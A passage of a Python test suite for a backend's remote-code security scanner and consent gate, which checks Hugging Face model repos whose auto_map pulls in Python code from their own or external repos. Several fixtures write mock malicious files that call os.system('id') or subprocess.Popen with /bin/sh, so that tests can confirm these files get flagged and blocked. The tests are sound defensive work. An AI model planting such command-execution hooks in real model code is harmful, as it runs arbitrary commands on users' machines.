b = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
c = remote_code_fingerprint({"m.py": _SCAN_BENIGN + "\n# changed"})
assert a == b
assert a != c
def test_scanner_faithful_to_scan_packages(self):
# The vendored load-time scanner agrees with the CI auditor that the file is dangerous.
sp = _BACKEND.parents[1] / "scripts" / "scan_packages.py"
if not sp.is_file():
pytest.skip("scan_packages.py not present")
import importlib.util
spec = importlib.util.spec_from_file_location("scan_packages_probe", sp)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
assert len(mod.check_py_file(_SCAN_MALICIOUS, "modeling_x.py", "pkg")) > 0
assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean
class TestConsentProvider:
"""_consent_provider attributes the dialog's `from "<provider>"` tag only when safe."""
@staticmethod
def _fn():
from routes.models import _consent_provider
return _consent_provider
def test_single_hub_id_returns_owner(self):
assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"]) == "NVIDIA"
assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"], []) == "NVIDIA"
def test_multi_target_lora_returns_none(self):
# A LoRA scans adapter + base; attributing to one would mislead.
assert self._fn()("user/adapter", ["user/adapter", "NVIDIA/base"]) is None
def test_external_auto_map_ref_returns_none(self):
# A single repo whose auto_map pulls code from another repo: don't attribute it.
assert self._fn()("owner/repo", ["owner/repo"], ["evilorg/evilrepo"]) is None
def test_local_path_returns_none(self, tmp_path):
d = tmp_path / "org" / "model"
d.mkdir(parents = True)
assert self._fn()(str(d), [str(d)]) is None
assert self._fn()("/home/me/model", ["/home/me/model"]) is None
def test_non_canonical_id_returns_none(self):
fn = self._fn()
assert fn("a/b/c", ["a/b/c"]) is None
assert fn("/repo", ["/repo"]) is None
assert fn("plainname", ["plainname"]) is None
class TestScannerCoversAllExecutableCode:
"""repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code."""
def test_local_scan_is_recursive(self, tmp_path):
# A nested helper module (imported by modeling_*.py) must be scanned too.
(tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}')
(tmp_path / "modeling_x.py").write_text("from .helpers import sub\n")
nested = tmp_path / "helpers"
nested.mkdir()
(nested / "sub.py").write_text("import os\nos.system('id')\n")
files = repo_remote_code_files(str(tmp_path))
assert "modeling_x.py" in files
assert str(Path("helpers") / "sub.py") in files
def test_remote_partial_download_is_unscannable(self):
# config.json fetches but a referenced .py 404s: a partial set would fingerprint
# "clean" while transformers later runs the missing file, so fail closed.
def _dl(
repo,
fn,
token = None,
):
if fn == "config.json":
import json
import tempfile
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
return str(p)
if fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn) # repo ships no tokenizer/processor config
raise RuntimeError("download failed") # the referenced .py cannot be fetched
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = ["modeling_x.py"]),
):
with pytest.raises(RemoteCodeUnscannable):
repo_remote_code_files("third/party")
def test_external_auto_map_repo_is_scanned(self):
# auto_map can point at code in another repo (owner/name--module.Class) that
# transformers fetches + runs, so the scanner must download it from that repo.
def _dl(
repo,
fn,
token = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
)
elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
p.write_text("import os\nos.system('id')\n")
elif fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config
else:
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
return str(p)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = []),
):
files = repo_remote_code_files("victim/model")
assert "evilorg/evilrepo--modeling_evil.py" in files
assert not scan_remote_code_files(files).clean # the external code is flagged
def test_external_auto_map_helper_imports_are_scanned(self):
# transformers fetches the external entry AND its relative imports, so the scanner
# must download the whole external .py closure -- a benign entry importing a
# dangerous helper.py must still be flagged.
def _dl(
repo,
fn,
token = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
)
elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
p.write_text("from .helper import run\n") # benign entry, imports helper
elif repo == "evilorg/evilrepo" and fn == "helper.py":
p.write_text("import os\nos.system('id')\n") # the dangerous import
elif fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
else:
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
return str(p)
def _list(repo, token = None):
if repo == "evilorg/evilrepo":
return ["modeling_evil.py", "helper.py"]
return [] # victim/model own repo ships no .py (code is all external)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", side_effect = _list),
):
files = repo_remote_code_files("victim/model")
assert "evilorg/evilrepo--helper.py" in files # the imported helper was scanned
assert not scan_remote_code_files(files).clean # helper's os.system is flagged
def test_stale_own_repo_auto_map_ref_is_ignored_not_failed_closed(self):
# A config names an own-repo .py the repo no longer ships (a stale ref, e.g.
# PaddleOCR-VL names processing_ppocrvl.py but ships processing_paddleocr_vl.py).
# The absent file cannot run, so ignore it and scan the present .py, not fail closed.
def _dl(
repo,
fn,
token = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(json.dumps({"model_type": "x"}))
elif fn == "tokenizer_config.json":
p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}}))
elif fn == "processing_paddleocr_vl.py":
p.write_text("import torch\n") # the real, present file
elif fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
else:
raise RuntimeError(f"stale/absent file must not be fetched: {fn}")
return str(p)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"],
),
):
files = repo_remote_code_files("unsloth/PaddleOCR-VL")
assert files != {}, "must not fail closed: present .py are scannable"
assert "processing_paddleocr_vl.py" in files # present file scanned
assert "processing_ppocrvl.py" not in files # stale ref ignored, never fetched
def test_present_referenced_py_fetch_failure_still_fails_closed(self):
# The stale-ref relaxation must not weaken the present-file guarantee: a listed .py
# that cannot be fetched (transient) still fails closed, since transformers would run it.
def _dl(
repo,
fn,
token = None,
):
import json
import tempfile
if fn == "config.json":
p = Path(tempfile.mkdtemp()) / fn
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
return str(p)
if fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
raise RuntimeError(
"transient fetch failure"
) # modeling_x.py is present but unfetchable
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]),
):
with pytest.raises(RemoteCodeUnscannable): # present-but-unfetchable -> fail closed
repo_remote_code_files("third/party")
def test_external_tokenizer_auto_map_list_is_scanned(self):
# transformers encodes a tokenizer auto_map as a [slow, fast] list, e.g.
# {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}; the external code
# in the list must be fetched + scanned, not skipped for being a list.
def _dl(
repo,
fn,
token = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(json.dumps({"model_type": "llama"}))
elif fn == "tokenizer_config.json":
p.write_text(
json.dumps(
{
"auto_map": {
"AutoTokenizer": [
"evilorg/evilrepo--tokenization_evil.EvilTokenizer",
None,
]
}
}
)
)
elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py":
p.write_text("import os\nos.system('id')\n")
elif fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn) # victim repo ships no image/processor config
else:
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
return str(p)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = []),
):
files = repo_remote_code_files("victim/model")
assert "evilorg/evilrepo--tokenization_evil.py" in files
assert not scan_remote_code_files(files).clean # the external tokenizer code is flagged
def test_unreachable_external_ref_is_unscannable(self):
# If the external repo's code can't be fetched, fail closed rather than fingerprint a clean own-repo snapshot.
def _dl(
repo,
fn,
token = None,
):
import json
import tempfile
if fn == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
)
return str(p)
if fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config
raise RuntimeError("download failed") # the external repo's .py is unreachable
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", return_value = []),
):
with pytest.raises(RemoteCodeUnscannable):
repo_remote_code_files("victim/model")
def test_unrelated_local_py_is_still_scanned(self, tmp_path):
# Deliberate broad scan (not narrowed to the import closure): a .py the entry does
# not statically import is still scanned, since the entry can reach it via
# importlib / exec / absolute import. Closure-only scanning would be a bypass.
(tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}')
(tmp_path / "modeling_ok.py").write_text("import torch\n") # benign entry, imports nothing
(tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n") # never imported
files = repo_remote_code_files(str(tmp_path))
assert "unrelated.py" in files # scanned despite not being referenced by auto_map
assert not scan_remote_code_files(files).clean # its os.system is flagged
def test_external_mis_derived_dotted_ref_dropped_when_real_present(self):
# A subpackage ref "evilorg/evilrepo--pkg.modeling_evil.M" derives
# "pkg.modeling_evil.py", but the real file is "pkg/modeling_evil.py" (present).
# The mis-derived name must be dropped (not fetched and failed closed) while the
# present file is scanned, like the own-repo stale-ref guard.
def _dl(
repo,
fn,
token = None,
):
import json
import tempfile
if fn == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}})
)
return str(p)
if fn in REMOTE_CODE_CONFIG_FILES:
raise EntryNotFoundError(fn)
if repo == "evilorg/evilrepo" and fn == "pkg/modeling_evil.py":
p = Path(tempfile.mkdtemp()) / "modeling_evil.py"
p.write_text("import os\nos.system('id')\n")
return str(p)
# The mis-derived dotted name must never be fetched.
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
def _list(repo, token = None):
if repo == "evilorg/evilrepo":
return ["pkg/modeling_evil.py"]
return [] # victim/model ships no own .py
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch("huggingface_hub.list_repo_files", side_effect = _list),
):
files = repo_remote_code_files("victim/model")
assert "evilorg/evilrepo--pkg/modeling_evil.py" in files # real file scanned
assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files # mis-derived dropped
assert not scan_remote_code_files(files).clean # os.system flagged
def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path):
# Decline cleanup needs the external auto_map repo ids so their code is not left
# cached; external_auto_map_repos lists the repos a config references.
from utils.security.remote_code_scan import external_auto_map_repos
(tmp_path / "config.json").write_text(
'{"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}'
)
(tmp_path / "tokenizer_config.json").write_text(
'{"auto_map": {"AutoTokenizer": ["other/repo--tokenization_x.Slow", null]}}'
)
repos = external_auto_map_repos(str(tmp_path))
assert repos == {"evilorg/evilrepo", "other/repo"}
# A config with only own-repo code yields no external repos.
(tmp_path / "plain").mkdir()
(tmp_path / "plain" / "config.json").write_text(
'{"auto_map": {"AutoModel": "modeling_local.M"}}'
)
assert external_auto_map_repos(str(tmp_path / "plain")) == set()
def test_gguf_repo_vestigial_auto_map_no_py_is_no_code(self):
# A GGUF repo whose config.json has a vestigial auto_map but ships no .py: the
# listing succeeds with nothing to run, so the result is an empty dict, not a
# raise (which would false-block). Real shape of a Nemotron-Ultra GGUF.
def _dl(
repo,
fn,
token = None,
):
import json
import tempfile
p = Path(tempfile.mkdtemp()) / fn
if fn == "config.json":
p.write_text(
json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}})
)
return str(p)
raise EntryNotFoundError(fn) # no other config, and modeling_decilm.py is absent
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "model-00001-of-00097.gguf"],
),
):
files = repo_remote_code_files("unsloth/Some-Model-GGUF")
assert files == {} # no executable code -> empty (no raise)
def test_tokenizer_only_auto_map_is_gated(self, tmp_path):
# config.json is plain but tokenizer_config.json declares auto_map: an
# AutoTokenizer(trust_remote_code=True) load runs that code, so scan + block it.
from utils.security import preflight_remote_code_consent
(tmp_path / "config.json").write_text('{"model_type": "llama"}')
(tmp_path / "tokenizer_config.json").write_text(
'{"auto_map": {"AutoTokenizer": ["tokenization_evil.EvilTokenizer", null]}}'
)
(tmp_path / "tokenization_evil.py").write_text(
"import subprocess\nsubprocess.Popen(['/bin/sh', '-c', 'id'])\n"
)
d = preflight_remote_code_consent(str(tmp_path), trusted_org = False)
assert d.has_remote_code is True
assert d.blocked is True
assert d.fingerprint
def test_config_file_list_covers_transformers_auto_map_sources(self):
# transformers reads auto_map only from a fixed set of config files (filename
# constants). Pin our scanned set to those exact constants from the installed
# transformers, so an upgrade that adds/renames an auto_map config trips here
# instead of silently leaving its code unscanned.
from transformers.tokenization_utils_base import TOKENIZER_CONFIG_FILE
from transformers.utils import (
CONFIG_NAME,
FEATURE_EXTRACTOR_NAME,
IMAGE_PROCESSOR_NAME,
PROCESSOR_NAME,
VIDEO_PROCESSOR_NAME,
)
expected = {
CONFIG_NAME, # AutoConfig / AutoModel
TOKENIZER_CONFIG_FILE, # AutoTokenizer
FEATURE_EXTRACTOR_NAME, # AutoFeatureExtractor (preprocessor_config.json)
IMAGE_PROCESSOR_NAME, # AutoImageProcessor (preprocessor_config.json)
PROCESSOR_NAME, # AutoProcessor
VIDEO_PROCESSOR_NAME, # AutoVideoProcessor
}
missing = expected - set(REMOTE_CODE_CONFIG_FILES)
assert not missing, (
"transformers reads auto_map from config files the consent gate does not "
f"scan: {sorted(missing)}. Add them to REMOTE_CODE_CONFIG_FILES."
)
def test_load_configs_returns_empty_list_when_all_404(self):
# A remote repo shipping none of the auto_map configs (every fetch 404s) returns
# [] ("no config-based auto_map"), not None ("unknown"): [] -> no-op, while None
# would force a scan and, for a code-less repo, a false unscannable block.
with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")):
configs = consent._load_remote_code_configs("some/plain-repo")
assert configs == []
# And a transient error on a config -> None (unknown -> caller scans).
with patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("blip")):
configs = consent._load_remote_code_configs("some/gated-repo")
assert configs is None
def test_gguf_repo_auto_map_is_scanned_for_non_file_load_paths(self, tmp_path):
# A GGUF-only repo id still hits export paths that run auto_map; only a direct
# .gguf file is inert.
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
if filename == "config.json":
p = tmp_path / "config.json"
p.write_text(
json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}})
)
return str(p)
raise EntryNotFoundError(filename)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "model-00001-of-00097.gguf"],
),
):
assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is True
def test_gguf_only_repo_with_python_is_scanned_and_blocked(self, tmp_path):
# Regression: the GGUF-only short-circuit must not skip auto_map Python for export loaders.
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
p = tmp_path / filename
if filename == "config.json":
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}}))
return str(p)
if filename == "modeling_evil.py":
p.write_text("import subprocess\nsubprocess.Popen(['id'])\n")
return str(p)
raise EntryNotFoundError(filename)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "modeling_evil.py", "model.Q4_K_M.gguf"],
),
):
d = evaluate_remote_code_consent_for_targets(
["evil/GGUF-Only"],
trust_remote_code = True,
)
assert d.has_remote_code is True
assert d.blocked is True
assert d.max_severity == HIGH
assert d.fingerprint
def test_transformers_style_repo_auto_map_is_scanned_and_blocked(self, tmp_path):
# A non-GGUF repo (safetensors/MLX) with auto_map is still scanned and blocked.
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
p = tmp_path / filename
if filename == "config.json":
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}}))
return str(p)
if filename == "modeling_evil.py":
p.write_text("import subprocess\nsubprocess.Popen(['id'])\n")
return str(p)
raise EntryNotFoundError(filename)
for weights in (["model.safetensors"], ["weights.npz"]):
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "modeling_evil.py", *weights],
),
):
d = evaluate_remote_code_consent_for_targets(
["org/Transformers-Style"],
trust_remote_code = True,
)
assert d.has_remote_code is True, weights
assert d.blocked is True, weights
assert d.max_severity == HIGH, weights
assert d.fingerprint, weights
def test_direct_gguf_file_reference_has_no_auto_map(self):
# A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call.
with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")):
assert consent._config_has_auto_map("org/repo/model.gguf") is False
def test_remote_repo_named_gguf_is_not_suffix_skipped(self):
# A two-segment repo id whose name ends in ".gguf" is not a direct file reference:
# it can still ship safetensors + auto_map Python, so it must be scanned.
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
import tempfile
if filename == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
return str(p)
raise EntryNotFoundError(filename)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"],
),
):
# Ships safetensors -> not a GGUF-only repo -> the auto_map gates.
assert consent._config_has_auto_map("evil/model.gguf") is True
def test_mixed_gguf_and_safetensors_repo_is_still_gated(self):
# A repo with both .gguf and .safetensors is not treated as GGUF: the safetensors
# could load via transformers where auto_map runs, so the gate must still apply.
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
import tempfile
if filename == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}}))
return str(p)
raise EntryNotFoundError(filename)
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "model.safetensors", "model.gguf"],
),
):
assert consent._config_has_auto_map("org/Mixed-Repo") is True
def test_mixed_gguf_and_bin_repo_is_still_gated(self):
# A repo with .gguf + a non-safetensors transformers weight (.bin/.pt/.pth/.h5/
# .msgpack/.onnx/.ckpt) is not GGUF-only: transformers can load it and run
# auto_map, so the gate still applies even with no .safetensors present.
def _dl(
repo_id = None,
filename = None,
token = None,
**kw,
):
import json
import tempfile
if filename == "config.json":
p = Path(tempfile.mkdtemp()) / "config.json"
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
return str(p)
raise EntryNotFoundError(filename)
for weight in (
"pytorch_model.bin",
"model.pt",
"model.pth",
"tf_model.h5",
"flax_model.msgpack",
"model.onnx",
"model.ckpt",
):
with (
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
patch(
"huggingface_hub.list_repo_files",
return_value = ["config.json", "modeling_x.py", weight, "model.gguf"],
),
):
assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight
# POST /discard-remote-code: purge what the scan downloaded on decline, but never a
# model the user already had (weights), a loaded model, or a local path.
class TestDiscardRemoteCodeDownload:
@staticmethod
def _fake_cache(filenames):
files = [
SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}")
for fn in filenames
]
rev = SimpleNamespace(commit_hash = "deadbeef", files = files)
repo = SimpleNamespace(repo_type = "model", repo_id = "evil/repo", revisions = [rev])
return SimpleNamespace(repos = [repo], delete_revisions = MagicMock())
def _run(self, model_name, cache_scans):
import asyncio
import routes.models as M
not_loaded = SimpleNamespace(active_model_name = None)
with (
patch.object(M, "is_local_path", return_value = model_name.startswith("/")),
patch.object(M, "_all_hf_cache_scans", return_value = cache_scans),
patch.object(M, "get_inference_backend", return_value = not_loaded),
patch(
"routes.inference.get_llama_cpp_backend",
return_value = SimpleNamespace(is_loaded = False, model_identifier = None),
),
):
return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t"))
def test_purges_metadata_only_entry(self):
cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"])
res = self._run("evil/repo", [cache])
assert res["deleted"] is True
cache.delete_revisions.assert_called_once_with("deadbeef")
def test_refuses_when_weights_present(self):
cache = self._fake_cache(["config.json", "model.safetensors"])
res = self._run("evil/repo", [cache])
assert res == {"deleted": False, "reason": "has_weights"}
cache.delete_revisions.assert_not_called()
def test_refuses_when_gguf_present(self):
cache = self._fake_cache(["config.json", "model.Q4_K_M.gguf"])
res = self._run("evil/repo", [cache])
assert res["reason"] == "has_weights"
def test_refuses_local_path(self):
res = self._run("/home/me/model", [])
assert res == {"deleted": False, "reason": "local"}
def test_noop_when_not_cached(self):
res = self._run("evil/repo", [])
assert res == {"deleted": False, "reason": "not_cached"}
def test_route_source_reports_created_by_scan(self):
src = (_BACKEND / "routes/models.py").read_text()
assert "created_by_scan" in src
assert "discard-remote-code" in src